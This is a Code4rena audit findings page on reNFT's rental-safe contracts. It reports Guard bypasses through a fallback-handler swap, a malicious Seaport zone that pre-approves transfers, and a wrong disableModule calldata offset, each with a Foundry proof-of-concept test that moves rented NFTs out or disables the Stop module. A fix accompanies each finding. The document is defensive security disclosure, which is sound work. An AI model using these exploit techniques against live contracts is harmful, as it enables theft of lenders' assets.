Platform: Code4rena
Start Date: 08/01/2024
Pot Size: $83,600 USDC
Total HM: 23
Participants: 116
Period: 10 days
Judge: 0xean
Total Solo HM: 1
Id: 317
League: ETH
Rank: 8/116
Findings: 4
Award: $1,873.13
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: sin1st3r__
Also found by: 0xAlix2, 0xDING99YA, 0xR360, Beepidibop, EV_om, Lirios, a3yip6, alix40, hash, haxatron, israeladelaja, juancito, marqymarq10, zzzitron
88.0882 USDC - $88.09
https://github.com/re-nft/smart-contracts/blob/main/src/policies/Guard.sol#L309-L345
Guard
: Guard Can Be Bypassed with Fallback HandlersGuard:checkTransaction()
does not check whether the user tx will change the Fallback Handler
. Exploiters can change the Fallback Handler
and use it to bypass the Guard
policy.
This means the protocol will no longer be able to control a rental safe. Any protocol/lender assets within the safe is considered lost.
Here's Gnosis' implementation of Fallback Manager
, the Fallback Manager
calls the handler
directly. So, if the handler is changed to the NFT's contract address, exploiters can use this trick to call transferFrom()
directly, bypassing the Guard
policy
Here's the PoC code, you can place it in test/unit/ChangeFallbackToBypassGuard.t.sol
and run
forge test --match-contract Change_Fallback_To_Bypass_Guard -vv
It should return something like this:
// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.20; import "forge-std/console.sol"; import {ISafe} from "@src/interfaces/ISafe.sol"; import {BaseTestWithoutEngine} from "@test/BaseTest.sol"; import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol"; import {RentalAssetUpdate, RentalId} from "@src/libraries/RentalStructs.sol"; import {RentalUtils} from "@src/libraries/RentalUtils.sol"; contract Change_Fallback_To_Bypass_Guard is BaseTestWithoutEngine {   uint256 rentedTokenId;   function setUp() public override {     super.setUp();     // mint the ERC721 to Alice's safe     rentedTokenId = erc721s[0].totalSupply();     erc721s[0].mint(address(alice.safe));     // Create a rentalId array     RentalAssetUpdate[] memory rentalAssets = new RentalAssetUpdate[](1);     rentalAssets[0] = RentalAssetUpdate(       RentalUtils.getItemPointer(         address(alice.safe),         address(erc721s[0]),         rentedTokenId       ),       1     );     // Mark the rental as actively rented in storage     _markRentalsAsActive(rentalAssets);   }   // helper function to mark rental IDs as active   function _markRentalsAsActive(RentalAssetUpdate[] memory rentalAssets) internal {     vm.prank(address(create));     STORE.addRentals(keccak256(abi.encode("someRentalOrderHash")), rentalAssets);   }   function test_ChangeFallbackToBypassGuard() public {     // check if the NFT is in the safe     console.log("checking if the NFT is in the safe initially...");     address whereIsNftBefore = erc721s[0].ownerOf(rentedTokenId);     assertTrue(       whereIsNftBefore == address(alice.safe),       "Safe does not have the NFT initially!"     );     console.log("yep, it does");     // change the fallback handler to one that changes guard on the safe     _changeFallback();     // transfer a rented NFT away from the safe     _transferNftAway();     // check if the NFT is still in the safe     console.log("checking if the NFT is in the safe after...");     address whereIsNftAfter = erc721s[0].ownerOf(rentedTokenId);     assertTrue(       whereIsNftAfter == address(alice.safe),       "The NFT is stolen away from the safe!"     );   }   function _changeFallback() public {     console.log("changing fallback handler");     // create safe transaction for changing the fallback manager     bytes memory transaction = abi.encodeWithSignature(       "setFallbackHandler(address)",       address(erc721s[0])     );     // sign the safe transaction     bytes memory transactionSignature = SafeUtils.signTransaction(       address(alice.safe),       alice.privateKey,       address(alice.safe),       transaction     );     // impersonate the safe owner     vm.prank(alice.addr);     // Execute the transaction on Alice's safe     SafeUtils.executeTransaction(       address(alice.safe),       address(alice.safe),       transaction,       transactionSignature     );     // stop impersonating the safe owner     vm.stopPrank();   }   function _transferNftAway() public {     console.log("stealing NFT...");     // using the fallback to call transfer the NFT     address(alice.safe).call(       abi.encodeWithSignature(         "transferFrom(address,address,uint256)",         address(alice.safe),         address(1),         0       )     );   } }
Foundry forge, project repo
Disallow changing Fallback Handler
in Guard:checkTransaction()
https://github.com/re-nft/smart-contracts/blob/main/src/libraries/RentalConstants.sol https://github.com/re-nft/smart-contracts/blob/main/src/policies/Guard.sol#L309-L345
Access Control
#0 - c4-pre-sort
2024-01-21T18:14:16Z
141345 marked the issue as duplicate of #593
#1 - c4-judge
2024-01-28T18:25:59Z
0xean marked the issue as satisfactory
🌟 Selected for report: sin1st3r__
Also found by: Beepidibop, hash
1559.4717 USDC - $1,559.47
https://github.com/re-nft/smart-contracts/blob/main/src/policies/Guard.sol#L309-L345 https://github.com/re-nft/smart-contracts/blob/main/src/policies/Create.sol#L733
Guard
: Guard Can Be Bypassed By Batching the Lending Tx with a Malicious TxSeaport allows custom zone
contracts to assert orders are valid with validateOrder()
. However, this can be used to pre-approve NFTs in rental safes.
The exploit flow is like this:
validateOrder()
on a malicious zone
contract that has a pre-signed Gnosis safe tx that calls approve()
on the NFT contractvalidateOrder()
is called, an exploiter can order it such that his exploit validateOrder()
will be called before Creator:validateOrder()
.Creator
hasn't registered the rental yet.zone
contract then submits a pre-signed approve()
tx. Guard:checkTransaction()
is bypassed because Creator
doesn't think the NFT is lent out yet. But approve()
succeeds because the NFT is already in the rental safe.This means the protocol will no longer be able to control any rentals. Any assets in a rental listing can be stolen.
Here's Seaport's comments on when the validateOrder()
calls are actually performed.
In this case it's called within _assertRestrictedAdvancedOrderValidity()
, after all the items have already been transferred in line 732
Here's the PoC code, you can place it in test/unit/PreApproveToBypassGuard.t.sol
and run
forge test --match-contract Preapprove_To_Bypass_Guard -vv
It should return something like this:
// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.20; import "forge-std/console.sol"; import {ISafe} from "@src/interfaces/ISafe.sol"; import {ZoneInterface} from "@src/interfaces/IZone.sol"; import {MockERC721} from "@test/mocks/tokens/standard/MockERC721.sol"; import {ECDSA} from "@openzeppelin-contracts/utils/cryptography/ECDSA.sol"; import {Seaport} from "@seaport-core/Seaport.sol"; import {   Order,   AdvancedOrder,   FulfillmentComponent,   Fulfillment,   ItemType as SeaportItemType,   CriteriaResolver,   OfferItem,   ConsiderationItem,   OrderComponents,   OrderType as SeaportOrderType } from "@seaport-types/lib/ConsiderationStructs.sol"; import {ZoneParameters} from "@seaport-core/lib/rental/ConsiderationStructs.sol"; import {   AdvancedOrderLib,   ConsiderationItemLib,   FulfillmentComponentLib,   FulfillmentLib,   OfferItemLib,   OrderComponentsLib,   OrderLib,   OrderParametersLib,   SeaportArrays,   ZoneParametersLib } from "@seaport-sol/SeaportSol.sol"; import {BaseTest} from "@test/BaseTest.sol"; import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol"; import {RentalAssetUpdate, RentalId} from "@src/libraries/RentalStructs.sol"; import {RentalUtils} from "@src/libraries/RentalUtils.sol"; import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStructs.sol"; contract Preapprove_To_Bypass_Guard is BaseTest {   using OfferItemLib for OfferItem;   using ConsiderationItemLib for ConsiderationItem;   using OrderComponentsLib for OrderComponents;   using OrderLib for Order;   using ECDSA for bytes32;   address public maliciousZone;   function setUp() public override {     super.setUp();   }   // in this example, Alice is the victim, Bob and Carol are the exploiter's addresses   function test_PreapproveToBypassGuard() public {     // setup malicious zone so we can preapprove the NFT to Bob's address     _setupPreapprove();     // approve and rent the NFT from Alice     _approveAndRentNft();     // check if the NFT is in the safe     console.log("checking if the NFT is in the safe initially...");     address whereIsNftBefore = erc721s[0].ownerOf(0);     assertTrue(       whereIsNftBefore == address(bob.safe),       "Safe does not have the NFT initially!"     );     console.log("yep, it is");     // transfer a rented NFT away from the safe     _transferNftAway();     // check if the NFT is still in the safe     console.log("checking if the NFT is in the safe after...");     address whereIsNftAfter = erc721s[0].ownerOf(0);     assertTrue(       whereIsNftAfter == address(bob.safe),       "The NFT is stolen away from the safe!"     );   }   function _setupPreapprove() public {     console.log("preparing the malicious zone for preapproval...");     // create safe transaction for preapproval     bytes memory transaction = abi.encodeWithSignature(       "approve(address,uint256)",       bob.addr,       0     );     // sign the safe transaction     bytes memory transactionSignature = SafeUtils.signTransaction(       address(bob.safe),       bob.privateKey,       address(erc721s[0]),       transaction     );     maliciousZone = address(       new MaliciousZone(         bob.addr,         address(bob.safe),         address(erc721s[0]),         transaction,         transactionSignature,         seaport       )     );   }   function _approveAndRentNft() public {     console.log("renting and stealing an NFT from Alice...");     _createAliceOrder();     _createExploitOrder();     // creating seaport orders     AdvancedOrder[] memory orders = new AdvancedOrder[](2);     orders[0] = ordersToFulfill[ordersToFulfill.length - 1].advancedOrder; // exploit     orders[1] = ordersToFulfill[ordersToFulfill.length - 2].advancedOrder; // alice     // offer componenets     FulfillmentComponent[] memory offerComponents0 = new FulfillmentComponent[](1);     offerComponents0[0] = FulfillmentComponent(0, 0);     FulfillmentComponent[] memory offerComponents1 = new FulfillmentComponent[](1);     offerComponents1[0] = FulfillmentComponent(1, 0);     FulfillmentComponent[][]       memory offerComponentsArray = new FulfillmentComponent[][](2);     offerComponentsArray[0] = offerComponents0;     offerComponentsArray[1] = offerComponents1;     // consideration componenets     FulfillmentComponent[]       memory considerationComponents0 = new FulfillmentComponent[](1);     considerationComponents0[0] = FulfillmentComponent(0, 0);     FulfillmentComponent[]       memory considerationComponents1 = new FulfillmentComponent[](1);     considerationComponents1[0] = FulfillmentComponent(1, 0);     FulfillmentComponent[][]       memory considerationComponentsArray = new FulfillmentComponent[][](2);     considerationComponentsArray[0] = considerationComponents0;     considerationComponentsArray[1] = considerationComponents1;     console.log("calling Seaport:fulfillAvailableAdvancedOrders()...");     vm.startPrank(bob.addr);     seaport.fulfillAvailableAdvancedOrders(       orders,       new CriteriaResolver[](0),       offerComponentsArray,       considerationComponentsArray,       conduitKey,       address(bob.safe),       2     );     vm.stopPrank();     // assert that the ERC721 is in the rental wallet of the fulfiller     assertEq(erc721s[0].ownerOf(0), address(bob.safe));   }   function _createAliceOrder() public {     console.log("creating alice's normal lending order...");     // create a BASE order     createOrder({       offerer: alice,       orderType: OrderType.BASE,       erc721Offers: 1,       erc1155Offers: 0,       erc20Offers: 0,       erc721Considerations: 0,       erc1155Considerations: 0,       erc20Considerations: 1     });     // finalize the order creation     (       Order memory aliceOrder,       bytes32 orderHash,       OrderMetadata memory metadata     ) = finalizeOrder();     // create an order fulfillment     createOrderFulfillment({       _fulfiller: bob,       order: aliceOrder,       orderHash: orderHash,       metadata: metadata     });     resetOrderToCreate();   }   function _createExploitOrder() public {     console.log("creating malicious order...");     // create an exploit order     // Define a standard OrderComponents struct with the malicious zone     OrderComponentsLib       .empty()       .withOrderType(SeaportOrderType.FULL_RESTRICTED)       .withZone(address(maliciousZone))       .withStartTime(block.timestamp)       .withEndTime(block.timestamp + 100)       .withSalt(123456789)       .withConduitKey(conduitKey)       .saveDefault("malicious");     orderToCreate.offerer = carol;     orderToCreate.offerItems.push(       OfferItemLib         .empty()         .withItemType(SeaportItemType.ERC721)         .withToken(address(erc721s[1]))         .withIdentifierOrCriteria(usedOfferERC721s[1])         .withStartAmount(1)         .withEndAmount(1)     );     // mint an erc721 to the offerer     erc721s[1].mint(orderToCreate.offerer.addr);     // update the used token so it cannot be used again in the same test     usedOfferERC721s[1]++;     // create the consideration item     orderToCreate.considerationItems.push(       ConsiderationItemLib         .empty()         .withRecipient(address(ESCRW))         .withItemType(SeaportItemType.ERC20)         .withToken(address(erc20s[0]))         .withStartAmount(100)         .withEndAmount(100)     );     orderToCreate.metadata.orderType = OrderType.BASE;     orderToCreate.metadata.rentDuration = 500;     orderToCreate.metadata.emittedExtraData = new bytes(0);     OrderComponents memory orderComponents = OrderComponentsLib       .fromDefault("malicious")       .withOfferer(carol.addr)       .withOffer(orderToCreate.offerItems)       .withConsideration(orderToCreate.considerationItems)       .withCounter(seaport.getCounter(carol.addr));     bytes32 exploitOrderHash = seaport.getOrderHash(orderComponents);     bytes memory signature = _signOrder(carol.privateKey, exploitOrderHash);     Order memory exploitOrder = OrderLib       .empty()       .withParameters(orderComponents.toOrderParameters())       .withSignature(signature);     // create an order fulfillment     createOrderFulfillment({       _fulfiller: bob,       order: exploitOrder,       orderHash: exploitOrderHash,       metadata: orderToCreate.metadata     });   }   function _signOrder(     uint256 signerPrivateKey,     bytes32 orderHash   ) private view returns (bytes memory signature) {     // fetch domain separator from seaport     (, bytes32 domainSeparator, ) = seaport.information();     // sign the EIP-712 digest     (uint8 v, bytes32 r, bytes32 s) = vm.sign(       signerPrivateKey,       domainSeparator.toTypedDataHash(orderHash)     );     // encode the signature     signature = abi.encodePacked(r, s, v);   }   function _transferNftAway() public {     console.log("stealing NFT from the rental safe...");     // impersonate the safe owner     vm.prank(bob.addr);     // transfer the pre-approved NFT away     erc721s[0].transferFrom(address(bob.safe), bob.addr, 0);   } } contract MaliciousZone {   address public bob;   address public bobSafe;   address public erc721;   bytes public transaction;   bytes public transactionSignature;   Seaport public seaport;   constructor(     address _bob,     address _bobSafe,     address _erc721,     bytes memory _transaction,     bytes memory _transactionSignature,     Seaport _seaport   ) {     bob = _bob;     bobSafe = _bobSafe;     erc721 = _erc721;     transaction = _transaction;     transactionSignature = _transactionSignature;     seaport = _seaport;   }   function validateOrder(     ZoneParameters calldata zoneParams   ) external returns (bytes4 validOrderMagicValue) {     // Execute the approval tx on Bob's safe     SafeUtils.executeTransaction(       address(bobSafe),       address(erc721),       transaction,       transactionSignature     );     // Return the selector of validateOrder as the magic value.     validOrderMagicValue = ZoneInterface.validateOrder.selector;   } }
Foundry forge, project repo
Clear approvals on a newly registered NFT. You can add it to Create:validateOrder()
.
OR
Have a contract receive the NFT before sending it to the rental safe after Create:validateOrder()
is called. Since this exploit can only happen after the NFT is in the rental safe but before Create:validateOrder()
is called.
https://github.com/re-nft/smart-contracts/blob/main/src/policies/Guard.sol#L309-L345 https://github.com/re-nft/smart-contracts/blob/main/src/policies/Create.sol#L733
Access Control
#0 - c4-pre-sort
2024-01-21T18:24:02Z
141345 marked the issue as insufficient quality report
#1 - 0xean
2024-01-28T19:18:42Z
@c4-sponsor would be great to get your opinion on this one, I believe it to be out of scope due to the reliance on a malicious zone contract but would be good to get your thoughts.
#2 - Alec1017
2024-01-29T18:28:06Z
Took a look at this PoC. I believe its in scope and it has the correct severity level. The malicious zone contract is used to allow the rental safe to gain execution control flow over the rented asset before the ReNFT zone contract is invoked.
Therefore, the malicious zone could call the safe to approve some address before the ReNFT guard contract has enough time to add the rented asset to its storage to prevent execution of approvals
#3 - c4-judge
2024-01-29T21:54:50Z
0xean marked the issue as satisfactory
#4 - c4-judge
2024-01-29T22:13:22Z
0xean marked the issue as selected for report
#5 - 10xhash
2024-01-31T09:08:39Z
The underlying issue is the ineffective guard when an attacker gains control of the execution after the asset has been transferred to the rental wallet but the rental has not been registered. Both #588 and #273 reports the same
#6 - stalinMacias
2024-01-31T16:42:14Z
@10xhash Both reports have nothing to do with eachother. They may share similar mechanism of bypassing the guard but #588 has absolutely nothing to do with ERC777. #588 allows for the hijacking of tokens regardless or not ERC777 is utilized.
#7 - 10xhash
2024-01-31T17:59:19Z
All 3 use different mechanisms (ERC777 callback, ERC1155 callback and additional zone callback) to exploit the same vulnerability that I have mentioned in the previous comment With the mentioned fix of transferring the rental asset after registering the order, all 3 issues would be fixed
#8 - stalinMacias
2024-01-31T19:27:28Z
All three reports are different as they utilize different mechanisms, different ways of exploitation and all 3 have their own unique impacts and pre-conditions. The ERC777 vulnerability for example requires ERC777 to be a consideration item which would be rare. #588 allows for the hijacking of ERC1155 assets. This one allows an attacker to hijack both types of tokens, and is discussing the danger of letting a malicious zone callback be executed before the legit ones.
Every report/bug made the dev aware of a certain blindspot that he needs to take extra care when working with the project, and the dev may even choose to fix one or two of these issues in a particular way.
Just because there is a slight overlap between multiple vulnerabilities doesn't mean you should batch all of them in a single bug report and call it a day.
#9 - 0xean
2024-02-01T11:14:38Z
I believe that #588 #87 and #462 should be duplicates. They are all valid, but exploit the same underlying problem which is that execution control is lost prior to the assets being properly registered. Fixing this would resolve all of these issues.
#462
ERC777 tokens allow callbacks to be setup when tokens are transferred from an account. This allows an attacker to use the rented asset before it has configured correctly.
#87
Since this exploit can only happen after the NFT is in the rental safe but before Create:validateOrder() is called.
#588
The main problem is that the token transferral occurs before the rental is registered,
#10 - c4-judge
2024-02-01T11:16:05Z
0xean marked the issue as duplicate of #588
#11 - c4-judge
2024-02-01T15:57:06Z
0xean marked the issue as not selected for report
🌟 Selected for report: serial-coder
Also found by: 0xAlix2, AkshaySrivastav, Beepidibop, EV_om, haxatron, kaden, mussucal, rbserver, zzzitron
223.7671 USDC - $223.77
https://github.com/re-nft/smart-contracts/blob/main/src/libraries/RentalConstants.sol#L62 https://github.com/re-nft/smart-contracts/blob/main/test/unit/Guard/CheckTransaction.t.sol#L366-L370
Guard
: checkTransaction()
Will Allow Disabling Non-Whitelisted Modules Such as the Stop
ModuleThe gnosis_safe_disable_module_offset
in RenstalConstants.sol
points to prevModule
instead of module
. Guard:checkTransaction()
currently checks if the prevModule
is the whitelisted module when it should be checking if module
is the whitelisted one.
This can disable the Stop
module by enabling a whitelisted module right after it. This is because prevModule
is actually the module enabled directly after module
in Gnosis Safe's implementation.
So as long as reNFT whitelists any module, even non-malicious ones, the Stop
module can be removed from Rental Safes.
The Stop
module is in charge of reclaiming the NFT for the lender. The lent NFT can't be reclaimed without it.
Here's the current implementation for byte offsets in RenstalConstants.sol
. The function signature has two fields: disableModule(address prevModule, address module)
. So the offset should point to the second input (0x44
instead of 0x24
). There's an extra 0x20
because of the way _loadValueFromCalldata()
is implemented (0x24
would be the first input instead of 0x04
because the calldata
is processed as bytes memory
).
And here's the Gnosis Safe implementation confirming the input order of prevModule
and module
.
This error wasn't picked up because CheckTransaction.t.sol
assumed the ABI for disableModule(address,address)
accepted only one input when it should have two.
Here's the PoC code, you can place it in test/unit/DisableStopPoc.t.sol
and run
forge test --match-contract Disable_Top_PoC_Test -vv
It should return something like this:
// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.20; import "forge-std/console.sol"; import {ISafe} from "@src/interfaces/ISafe.sol"; import {BaseTestWithoutEngine} from "@test/BaseTest.sol"; import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol"; contract Disable_Top_PoC_Test is BaseTestWithoutEngine {   // test addresses   address constant EXTENSION = TEST_ADDR_2;   function setUp() public override {     super.setUp();   }   function test_DisableStopModule() public {     // check if Stop is a module for the safe     console.log("checking if the safe has the Stop module initially...");     (, bytes memory data) = address(alice.safe).staticcall(       abi.encodeWithSignature("isModuleEnabled(address)", address(stop))     );     assertTrue(abi.decode(data, (bool)), "Safe does not have Stop enabled initially!");     console.log("yep, it does");     // the project whitelists any module     _whitelistNewModule();     // enable the whitelisted module on the safe as the safe's owner     _enableWhitelistedModuleOnSafe();     // diable the newly enabled module as the safe's owner     _disableStopModule();     // check if Stop is still a module for the safe     console.log("checking if the safe has the Stop module afterwards...");     (, data) = address(alice.safe).staticcall(       abi.encodeWithSignature("isModuleEnabled(address)", address(stop))     );     assertTrue(abi.decode(data, (bool)), "Safe's Stop has been disabled!");   }   function _whitelistNewModule() public {     console.log("whitelisting a new module as admin...");     // impersonate the admin admin     vm.prank(deployer.addr);     // enable this address to be added as a module by rental safes     admin.toggleWhitelistExtension(EXTENSION, true);     // assert the address is whitelisted     assertTrue(STORE.whitelistedExtensions(EXTENSION));     // stop impersonating the admin admin     vm.stopPrank();   }   function _enableWhitelistedModuleOnSafe() public {     console.log("safe owner enabling the new module...");     // create safe transaction for enabling a module     bytes memory transaction = abi.encodeWithSelector(       ISafe.enableModule.selector,       address(EXTENSION)     );     // sign the safe transaction     bytes memory transactionSignature = SafeUtils.signTransaction(       address(alice.safe),       alice.privateKey,       address(alice.safe),       transaction     );     // impersonate the safe owner     vm.prank(alice.addr);     // Execute the transaction on Alice's safe     SafeUtils.executeTransaction(       address(alice.safe),       address(alice.safe),       transaction,       transactionSignature     );     // stop impersonating the safe owner     vm.stopPrank();   }   function _disableStopModule() public {     console.log("safe owner disabling the stop module...");     // create safe transaction for disabling the stop module     bytes memory transaction = abi.encodeWithSelector(       ISafe.disableModule.selector,       address(EXTENSION),       address(stop)     );     // sign the safe transaction     bytes memory transactionSignature = SafeUtils.signTransaction(       address(alice.safe),       alice.privateKey,       address(alice.safe),       transaction     );     // impersonate the safe owner     vm.prank(alice.addr);     // Execute the transaction on Alice's safe     SafeUtils.executeTransaction(       address(alice.safe),       address(alice.safe),       transaction,       transactionSignature     );     // stop impersonating the safe owner     vm.stopPrank();   } }
Foundry forge, project repo
Correct gnosis_safe_disable_module_offset
to 0x44
in RentalConstant.sol
https://github.com/re-nft/smart-contracts/blob/main/src/libraries/RentalConstants.sol#L62 https://github.com/re-nft/smart-contracts/blob/main/test/unit/Guard/CheckTransaction.t.sol#L366-L370
Invalid Validation
#0 - c4-pre-sort
2024-01-21T17:41:41Z
141345 marked the issue as duplicate of #565
#1 - c4-judge
2024-01-28T21:34:17Z
0xean marked the issue as satisfactory
#2 - c4-judge
2024-02-01T11:03:23Z
0xean marked the issue as unsatisfactory: Out of scope
#3 - c4-judge
2024-02-02T18:24:40Z
0xean marked the issue as satisfactory
🌟 Selected for report: BI_security
Also found by: 0xPsuedoPandit, 0xpiken, ABAIKUNANBAEV, Beepidibop, CipherSleuths, EV_om, Giorgio, Hajime, J4X, KingNFT, KupiaSec, NentoR, SBSecurity, SpicyMeatball, Tendency, Ward, ZdravkoHr, boringslav, deepplus, hals, hash, haxatron, jasonxiale, juancito, pkqs90, plasmablocks, ravikiranweb3, rokinot, rvierdiiev, trachev, zaevlad, zzebra83
1.8029 USDC - $1.80
https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L394-L400 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L406
Signer
: Some EIP-712 Type Hashes Don't Follow the Standard
EIP-712 specifies that
If the struct type references other struct types (and these in turn reference even more struct types), then the set of referenced struct types is collected, sorted by name and appended to the encoding. An example encoding isÂ
Transaction(Person from,Person to,Asset tx)Asset(address token,uint256 amount)Person(address wallet,string name)
. link
There are a few type hashes that don't include all of the referenced struct type strings or don't have them in the right order. This can mean dapps that implement the correct hashes won't be able to interact with the protocol.
Here is a list of type strings that don't follow the standard:
rentPayloadTypeHash
- missing Hook, structs not ordered alphabetically
linkorderMetadataTypeHash
- missing Hook
linkCorrect the type hashes.
https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L394-L400 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L406
Context
#0 - c4-pre-sort
2024-01-21T17:51:14Z
141345 marked the issue as duplicate of #239
#1 - c4-judge
2024-01-28T21:06:01Z
0xean marked the issue as satisfactory